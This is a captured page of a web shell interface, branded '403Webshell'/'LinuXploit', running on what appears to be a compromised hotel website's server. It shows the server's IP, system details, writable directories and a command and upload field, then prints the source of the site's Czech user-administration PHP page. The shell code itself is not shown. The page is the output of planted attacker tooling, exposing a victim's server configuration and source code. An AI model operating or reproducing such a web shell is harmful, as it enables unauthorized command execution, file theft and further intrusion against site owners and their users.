403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotellesnizatisi_cz/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotellesnizatisi_cz/new/uzivatele.php
<?php
require_once __DIR__ . '/includes/auth.php';
$user = require_role(['admin', 'manazer']);
require_once __DIR__ . '/includes/layout.php';

if ($user['role'] === 'admin') {
    $uzivatele = db()->query("
        SELECT * FROM uzivatele
        ORDER BY FIELD(role,'admin','manazer','zamestnanec'), prijmeni
    ")->fetchAll();
} else {
    $uzivatele = db()->query("
        SELECT * FROM uzivatele WHERE role = 'zamestnanec' ORDER BY prijmeni
    ")->fetchAll();
}

$roleLabel = ['admin' => 'Admin', 'manazer' => 'Manažer', 'zamestnanec' => 'Zaměstnanec'];

$opravneniMap = [];
foreach (db()->query('SELECT uzivatel_id, sekce FROM uzivatele_opravneni')->fetchAll() as $row) {
    $opravneniMap[$row['uzivatel_id']][] = $row['sekce'];
}

admin_layout_start('uzivatele', 'Uživatelé', 'Přístupy do administrace', $user);
render_flash();
?>

<div class="panel__head">
  <p><?= $user['role'] === 'admin'
        ? 'Všechny účty s přístupem do administrace. Reset hesla vygeneruje nové dočasné heslo.'
        : 'Účty zaměstnanců, které spravujete. Reset hesla vygeneruje nové dočasné heslo.' ?></p>
  <a class="btn btn-primary" href="uzivatele-upravit.php">+ Přidat uživatele</a>
</div>

<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Jméno</th><th>Uživatelské jméno</th><th>E-mail</th><th>Role</th>
        <th>Stav</th><th>Poslední přihlášení</th><th></th>
      </tr>
    </thead>
    <tbody>
      <?php foreach ($uzivatele as $u): ?>
      <tr>
        <td><?= htmlspecialchars($u['jmeno'] . ' ' . $u['prijmeni']) ?><?= (int)$u['id'] === (int)$user['id'] ? ' <span style="color:var(--ink-faint);font-size:.78rem;">(vy)</span>' : '' ?></td>
        <td class="mono"><?= htmlspecialchars($u['uzivatelske_jmeno']) ?></td>
        <td style="color:var(--ink-soft);"><?= htmlspecialchars($u['email'] ?? '—') ?></td>
        <td>
          <span class="badge badge-role"><?= htmlspecialchars($roleLabel[$u['role']] ?? $u['role']) ?></span>
          <?php if ($u['role'] === 'zamestnanec'): ?>
            <div style="font-size:.74rem;color:var(--ink-faint);margin-top:4px;">
              <?php
                $sekceUzivatele = $opravneniMap[$u['id']] ?? [];
                echo $sekceUzivatele
                    ? htmlspecialchars(implode(', ', array_map(fn($s) => SEKCE_NAZEV[$s] ?? $s, $sekceUzivatele)))
                    : 'bez přístupu';
              ?>
            </div>
          <?php endif; ?>
        </td>
        <td><?= $u['aktivni'] ? '<span class="badge badge-on">Aktivní</span>' : '<span class="badge badge-off">Neaktivní</span>' ?></td>
        <td style="color:var(--ink-soft);"><?= $u['posledni_prihlaseni'] ? date('d.m.Y H:i', strtotime($u['posledni_prihlaseni'])) : '—' ?></td>
        <td class="actions">
          <a class="btn-text" href="uzivatele-upravit.php?id=<?= (int)$u['id'] ?>">Upravit</a>
          <form method="post" action="uzivatele-reset-heslo.php" style="display:inline;"
                onsubmit="return confirm('Resetovat heslo pro <?= htmlspecialchars(addslashes($u['jmeno'] . ' ' . $u['prijmeni'])) ?>? Vygeneruje se nové dočasné heslo.');">
            <input type="hidden" name="id" value="<?= (int)$u['id'] ?>">
            <button type="submit" class="btn-text" style="background:none;border:none;padding:0;cursor:pointer;">Reset hesla</button>
          </form>
          <?php if ((int)$u['id'] !== (int)$user['id']): ?>
          <form method="post" action="uzivatele-smazat.php" style="display:inline;"
                onsubmit="return confirm('Opravdu trvale smazat účet <?= htmlspecialchars(addslashes($u['jmeno'] . ' ' . $u['prijmeni'])) ?>? Tuto akci nelze vrátit zpět.');">
            <input type="hidden" name="id" value="<?= (int)$u['id'] ?>">
            <button type="submit" class="btn-text" style="background:none;border:none;padding:0;cursor:pointer;color:var(--red);">Smazat</button>
          </form>
          <?php endif; ?>
        </td>
      </tr>
      <?php endforeach; ?>
      <?php if (!$uzivatele): ?>
      <tr><td colspan="7" style="color:var(--ink-soft);text-align:center;padding:24px;">Zatím žádní uživatelé.</td></tr>
      <?php endif; ?>
    </tbody>
  </table>
</div>

<?php admin_layout_end(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit